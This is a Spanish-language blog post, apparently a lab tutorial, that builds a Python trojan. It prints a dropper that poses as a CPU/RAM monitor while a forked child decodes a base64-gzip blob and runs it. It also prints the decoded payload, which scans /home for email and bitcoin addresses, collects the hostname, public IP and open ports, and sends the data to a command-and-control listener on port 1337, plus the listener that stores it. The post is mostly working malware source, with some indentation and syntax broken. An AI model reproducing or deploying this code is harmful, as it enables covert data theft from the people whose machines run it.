Para empezar nos montaremos el siguiente entorno:

Una máquina Parrot OS que hara de router y máquina de atacante. Además una máquina con Ubuntu 22.04 que en este caso será la máquina víctima.

Ambas estarán en red interna y tendrán conectividad entre ellas y aislamiento de la red real.

Empezaremos con el script de nuestro troyano:

importamos los modulos psutil, base64 por que enviaremos el malware encriptado, y gzip para comprimir el malware, time para controlar el flujo9 del programa y os para que funcione en el sistema opertivo donde lo ejecutemos

Lo primero que hará sera definir el pid, si es cualquier numero mayor que 0, el primero enentrar será el 1, entonces iniciará el proceso padre. Entra en un bucle que mostrará por pantalla informacion de la cpu, la ram…

time hace que pare dos segundos, antes de entrar en el proceso hijo, que será el que ejecute el malware, que es un archivo encriptado en base64. Finalmente lo ejecuta.

!/usr/bin/python3
import psutil
import base64
import time
import gzip
import os
def main():
# fork a child process
pid = os.fork()
if pid > 0:
    # parent process
    while True:
        # percentage of used CPU
        cpu = psutil.cpu_percent()
        # percentage of used RAM
        ram = psutil.virtual_memory().percent
        # percentage of used disk space
        disk = psutil.disk_usage("/").percent
        # number of all running processes
        processes_count = 0
        for _ in psutil.process_iter():
            processes_count += 1

        # print to screen
        print("---------------------------------------------------------")
        print("| CPU USAGE | RAM USAGE | DISK USAGE | RUNNING PROCESSES |")
        print("| {:02}%       | {:02}%       | {:02}%        | {}               |".format(int(cpu), int(ram), int(disk), processes_count))
        print("---------------------------------------------------------")

        # sleep for 2s
        time.sleep(2)
else:
    # child process
    trojan()
def trojan():
malware_fd = open(".malware.py", "w")
blob = "H4sICAncMmEAA21hbHdhcmUucHkAjVZtb9s2EP7uX3FTB0RCZMmKHadx4WHB0K7d1q5YO2BYEgi0RMesZVIj6cSJ4/++IyX6TXY22bBJ3nMvfHh31Kvv4rmS8YjxuHzUE8G7LTYrhdQg6T9zqrRycyWyKdVuNiKK9ntu9k0JvtFzI6FarVZOxzAjjPvBoAX4vII7qmEilOZkRkGMQU8oIrIJ49Qi1rJh7TNCDbfoB60tM0a1nI8KlgEr73tA8lxSpQ5apSSnUqHRpZ2bx/tTUdm+uqNcewPwPoonVhQkPo864P+VJG/gN8bnC1i87qf93huQ94OL11EngJ9pNhXxWSfp4DeBd0zSsVjERuhZ4yv7W0WWshKdOjbNXnxvonWpBnHMSlKyKBM48MKtEOtREGm60G7DihKZTWAsJIyYzgTjQHgOFNkt3M6psuBanq5X04IpjYavb63c6hyVGg9SCB2Cmo9yJlUIY1ZQBehRqOiBFFPfiydiRr36UJ2WgRmUhW9EVoxL6ThHL6Kk3PeWq3i58iLUmhHtV+4MJgjBk16wo6vl466xihCJLNlzzgTXeIb23CkxHKGhhoKNYA0duogiY8YPIqUlK1167To6xPwO39tPg3t7+tGY8ZwUhS89/zrp3i6T1TVpT2ftp6v2+1/anz63/07al7fLs37Y7a6eR1mC4qeOWepehueXq8ALd3fwX5EeyovtZy8H9qOs3Ufp7emPLpTTm8gMMfjwYvW/4skmWCrAxvBAYULuKUY2x5wl/LHJJLigm7GigQKTpkFtAD9Ap5kaB4/BJfkRwWlTcCyMPeZeCOJInR1cPt1fbvLpMjYrhDKdcMfVIqOlboZREmXacHUcpmfi8doSBNOjkXTeaJVGmlbSoSn4sqpYTrXSREO7LAjX8Ax3kpbQZmDCR3vPQB6mcLIsJUPx973VyRrzGU5ucsya7uomOjoY2P/z1YkX1DV5IJr1xNVrpMqCYUu94XXTqLdKeSZyCjnRBLSwN5Rtl4py2zRmZjUTsxmx+ZjbJiJFgQB5T6W1YpV3LoyaptRdR3htuGHYRGFXH2xugQOAzXYQuJlsIZvZaisI4YfzeEt1P8uc4qHsq2+tmrvqcncUmvSw9Bk6quvDCvK05qeCR6N+rxL4Bh3l81mpfAMJono9CDZ3GTLuzuaFU6jhGeaDpkDqFwIQo280q4JWm9eE6s+vZ1fv0g+f3n4NnfTL7z/9mn75+sfbq4/rMNAbR0MvB2FKxL7PJN3uReUzqhV930vOLqIOfhLshwYQBDXEbNHfZsoJXPW2WthP0tTkTprCcAhempo3pTT1qjKuXpv+BfXo/OqiCQAA"
malware = gzip.decompress(base64.b64decode(blob)).decode("UTF-8")
malware_fd.write(malware)
malware_fd.close()
# execute malware
os.system("/usr/bin/python3 .malware.py")
if name == "main":
main()

A continuación se ejecuta el malware.py que como podéis ver es un script en python3 que tras importar los modulos correspondientes. reques para peticiones, socket para conexiones, base64 para el texto cifrado, json para una parte escrita en ese lenguaje, re para usar expresiones regulares y os para hacer referencia al sistema operativo.

Comienza a definir el hostname del equipo, después pide la dirección ip por ipv4 haciendo un ip a clásico.

Después buscara todas la direcciones de e-mail y datos relacionados con la palabra bitcoin (por si hubiera alguna wallet) aque es donde usa las expresiones regulares para comparar los patrones que coincidan con un e-mail y con una direccion de bitcoin.

Despúes lista los puertos abiertos.

Finalmente escribe los datos en json y cons codifica en base64 y conecta por el puerto 1337 y cierra la conexión.

!/usr/bin/python3

import requests
import socket
import base64
import json
import re
import os

def main():
# get hostname of the machine
hostname = socket.gethostname()
# get the public ipv4 address of the machine
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
}
public_ip = requests.get("https://ipapi.co/ip", headers = headers).text

# search for bitcoin and email addresses
bitcoin_addresses_list = []
email_addresses_list = []
for root, subdirs, files in os.walk("/home"):
    for file in files:
        file_fd = open("{}/{}".format(root, file), "r")
        try:
            # read the contents of each file
            file_contents = file_fd.read().strip()

            # search for bitcoin addresses
            bitcoin_addresses = re.findall(r"([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})", file_contents)

            # search for email addresses
            email_addresses = re.findall(r"[a-z0-9._]+@[a-z0-9]+\.[a-z]{1,7}", file_contents)

            # check if we have found any bitcoin addresses or emails
            if len(bitcoin_addresses) > 0:
                bitcoin_addresses_list = bitcoin_addresses_list + bitcoin_addresses
            if len(email_addresses) > 0:
                email_addresses_list = email_addresses_list + email_addresses

            file_fd.close()
        except:
            pass


# get all open ports on the machine
open_ports = os.popen("netstat -plant | grep -i listen | awk '{print $4}' | grep -P '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}'").read()
open_ports = open_ports.strip().split("\n")

# encode data to json and send them to command and control server
data = {
    "machine_hostname": hostname,
    "machine_ip": public_ip,
    "machine_open_ports": open_ports,
    "bitcoin_addresses_found": bitcoin_addresses_list,
    "email_addresses_found": email_addresses_list
}

# base64 encode the json data
encoded_data = base64.b64encode(json.dumps(data).encode())

# send data to command and control server

# create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to command and control server on port 1337
s.connect(("127.0.0.1", 1337))
s.send(encoded_data)
s.close()
if name == "main":
main()

Ahora voy a escribir el script que se debe ejecutar en la máquina víctima para que ejecute el malware

!/usr/bin/python3
import socket
import base64
import random
from string import ascii_lowercase
create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listen on local host port 1337
s.bind(("127.0.0.1", 1337))
s.listen(5)
pint("listening on port 1337")
while True:
# establish a connection
clientsocket, client_ip = s.accept()
print("[+] recived a connection from -> {}".format(client_ip))
# get the encoded data
encoded_data = clientsocket.recv(4096)
clientsocket.close()

#open a file with a random name
random_fd = open("".join(random.choices(ascii_lowercase, k = 10)), "w")
random_fd.write(base64.b64decode(encoded_data).decode("UTF-8"))
random_fd.close()
Categorías: Python

0 comentarios

Deja una respuesta

Marcador de posición del avatar